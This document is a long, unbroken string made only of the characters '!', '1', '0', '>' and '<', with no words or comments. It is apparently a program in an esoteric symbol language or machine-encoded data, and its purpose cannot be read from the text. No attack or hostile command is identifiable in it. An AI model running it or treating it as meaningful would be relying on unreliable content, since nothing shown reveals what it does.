!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1>0><>1!1>0>1!10110>1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1>01010111>01!1!1>0>10110>10110>10110>10110>10110>1!10110>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!10110>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!101101010111>01!1>0>1010>01>0>1>0><>1!1>0>1!1>0>1!1>0><>1010>01>0>1>0>1!1!1!1!<>1!1>0><1010111>01>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!101101010111>01!1>0>1010>01>0>1!<>1!1!10110>1!<>1010>01>0>1!1!1!<>10110>1!<>1!1!1!1!1>0>10110>1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!<>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>10110>1!<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>01010111>01>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1!1!10110>1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!10110>1!1>0>1>0>10110>1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>101101010111>01!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!<>1!1!1>0>1!1!1!1!1>0>1!<>1!1!1>01010111>01!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>01>0>10110>1!1!1>0>1!1!10110>10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>01>0>10110>1!1!1>0>1!1!10110>10110>1!1!1>0>1!1>0>1!1!1010>01>0>10110>1!1!1>0>1!1!10110>10110>1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!<>1!10110>1!10110><>1!1!<>1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!10110>10110>1!1010>01>0><>1!1>0>1!10110>1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1>0><>1>0>10110>1!1!1010>01>0>1>01010111>01!1!1!1>0>1!1010>01>0>1!1>0>1!1!<>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0><>1!1!1>0>1>0>1!1010>010110>1!1!<>1!1>0>1!1010>01>0>1>0>1!<>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>01010111>01!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<><>10110>1!1!1>0>1010>01>0><>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!<>1010>01>0>1>0>1!1!1!<>1!10110>1!1!1!1!1!1!1!1!1!1!1!<><>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>01010111>01010>01>0>1>0><>1!1!10110>1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1>0>1010>01>01010111>01!1!10110>1!1>0>1010>01>0>1!<>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1>0>1!1!1!1>0>1!1010>01>0><>1>0>1!1!1>0>1!1010>01>0><>1!1>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<><>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>01010111>01!10110>1!1010>01>0>1>0>1!1!<>1!1!1!1>0>1010>01>0>1>01010111>01>0>1!1>0>1!1>0>1010>010110><>1!1!1!1>0>1010>01>0>1!1>01010111>01!1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1>01010111>01!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!<>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>10110>10110>1010>01>0>1!1!1!1!1!1!1!10110>1!1!1>0>1010>01>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0><>1>0>1!1!10110>1!1010>01>0>1!1!1!1!1!1!10110>1!1!1!1010>01>0>1>01010111>01>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!10110>1!1!1>0>1>0>1010>01>0>1!1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0><>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1>01010111>01!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!<>1!1!10110>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!<>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0><>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1>0>1010>01>0>1!1!1!1!1!10110>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1>01010111>01!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>01010111>01>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!<>1>0>1!1!1>0>1010>01>0>1>0>1!<>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!10110>1!1!1>0>1010>01>0>1!1!<>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01010>01010>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>01010111>01!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1!1!1010>01>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1010>01>0>1!1!<>1!1!1!1!1!<>1010>01>0>1!<>1!1!1>0>10110><>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1010>01>0>1>0>1!<>1!1>0>1010>01>0>1>0>1!<>1>0>1!1!1!1>0>1>01010111>01010>01>0>1>0>1!<1010111>10111>01!1!1!1>0>1>0>1!1!1!1!1010>010110>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1010>010110>1!1!<>1!1>0>1>0>1!1!1>0>1!1!1!1010>01>0>1!1!1!1>0>1>0>1!1!1!10110>10110>1!1!1>0>1!<>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!10110>10110>10110>1!<>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1010>010110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>10110>10110>1!1>0>1!<>1!1!1>0><>1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1010>01>0>1!1!1!1>0><>1!1>0>1!1010>01>0>1!1!<>1!1!1!1!<>1!1010>01>0>1!1!1!1!1!1!1!10110>10110><>1!1!1!1>0>1!<>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!<>1!1!1!1>0>1!<>10110>1!1!1!1!1>0>1!1>01010111>01>0>1!1>01010111>01>0>1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1010>010110>10110>1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!<>1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1010>01010>01010>010110>1!1>0>1!1!1!1!1!1!1!1!1!1010>010110>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!10110>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>01010111>01!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>101101010111>01>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>010110>1!1!1!1010>01>0>1!1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1!<>1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1>0>1!1>01010111>01!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!<>1>0>1!1!1>01010111>01!1!101101010111>01!1!1!1>01010111>01>01010111>01>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1>0>1!1>0>1>0>1!1>01010111>01!1!101101010111>01!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0><>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!10110>10110>10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!10110>1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!1!1>0>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1>0>10110>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>01010111>01!1!101101010111>01!1!1!1>01010111>01>0>1!1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>010110>10110>1!1>0>1!1!1!1!1>0>1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!101101010111>01!1!1!1>0>1!1!1!1>0>10110><>1>0>1!1>0>1!1!101101010111>01>0>1!1>01010111>01>0>1!1!1!1010>01>0>1!1!1>0>1!<>1!1>0>1!1!1>0>1>0>1!<>1!1!1!1!1!1!1!10110>1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!10110><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>01010111>01!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1!1!<>1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>10110>1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1010>01010>01010>01>01010111>01!1!1!1!1!1!1010>01>0>1>0>10110>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!101101010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1>0>1>0>1!1!<>1>0>1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0><>1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0><>1!1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1010>01>0>10110>1!<>1!1>0>1!1010>01>0><>1>0>1!1!1!1>0>1!1>01010111>01!1010>01>0>1!1!1!<>1>0>1!1>0>1>01010111>01!1!1!1>0>1>0>1!1!1!1!1010>010110>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1!1!1!1010>01>0>1!1!1!1>0>1>0>1!1!1!10110>10110>1!1!1>0>1>0>1!1!1!1!1010>01>0>1>0>1!1!<>1!1>0>1!1!1>0>1!<>101101010111>01>0>1!1!1!1010>01>0>1!1>0>1!1!<>1!1>0>1!1!1!1!<>10110><>1>0>1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!10110>1!1!10110>101101010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>010110>1!1!1!1>01010111>01!1!1>0>1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1!1!<>1!1>0>1>0>1!1!1!1010>01010>01010>01>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!1!1!1010>01010>01010>01>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1!1!1!1>0>1!1!1!1!1>0><>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0><>1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!10110>1!1!1!<>1!1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1!10110>1!101101010111>01>0>1!1>01010111>01!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!1!1!<>1!10110>1!1!1>0>1>0>1!1!1!<>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1010>01>0>1>0>1!1!1>0><>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!1!1>0>1>0><>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1010>01>0>1!1!1>0><>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1>01010111>01!1>0>1>0>10110>1!1!1!1!1>0>1!1!1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1!1!1!1>0>1>01010111>01!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>10110>1!1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>10110>1!1!1!1!1!1!1!1!1!1010>010110>1!1>0>1!1!1!1!1!1!1010>01010>01010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1!1!1!1>0>1!1>0>1!1!1>01010111>01!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1!<>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1!10110>1!1!1!1>01010111>01!1!1!1>01010111>10111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>01>0>1>0>1!10110>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1!1!1!1010>01>0>1>0>1!10110>1!1!1!1!1>0>1!10110>1!1!1>0>1>01010111>01!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!<>1!1!1!1>0>1>01010111>01!1!101101010111>01!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1!10110>1!1!1!1!1!10110>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0><><>10110>10110>1!1>0>1!1>0>1!1!1010>010110>1!1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!101101010111>010110>10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1!1!1!1!10110>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!<>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!101101010111>01>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1!1>0>1>01010111>01>0>1!1!1>0><>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1010>010110>1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1>0>1!1!1!1010>010110>101101010111>01!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!10110>1!1>01010111>01!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1>0>1>01010111>10111>01!1!1!1!1>0>1!1!1!1!1!1010>01>0>1>0>1!10110>1!1!1!1!1>0>1!10110>1!1!1>0>1>01010111>01>0>1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1>0>1!1!1!1>0><>1!1!101101010111>01!1!1!1>01010111>01>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1010>01>0><>1!1>0>1!1010>01>0>1!<>10110>1!1!<>1!1010>01>0>1!<>1!1!1>0>1>0>1!<><>1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1010>01>0>1>0>1!1>0>1!<>1!1>0>1010>01>0>1>0><>1!10110>1!1!1>01010111>01010>01>0>1>0>1!1!<>1!1>0>1>0>1!1>01010111>10111>01>0>1!1!1!10110><><>1!1!10110>1!10110>1!1>0>1!1>0>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!1>01010111>01!1>0>1!1!1!1!1010>01>0>10110>1!1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1010>010110>1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1!1!1!1!1010>01010>01010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>01010111>01!1!1!1!1!1!1!1010>010110>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!10110>1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!101101010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>10110>1!1!1!<>1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0><>1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1010>01>0>10110>1!<>1!1>0>1010>01>0>1>0>1!1!1!<>1!101101010111>01!1!1!1>0>1>0>1!1!1!1010>01>0>1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>01010111>01!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1010>01>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0><>1!1>0>1!1!1!1010>01>0>1>0>1!1!<>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!<>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1>0>1!10110>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1!1!10110>1!1!1!10110>10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1!1!1>0><>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1!10110>1!1!1!1!1>0>1!1>0>1010>01>0>1!1!1!<>1!1>0>101101010111>01!1!1!1!1>0>1!1!1!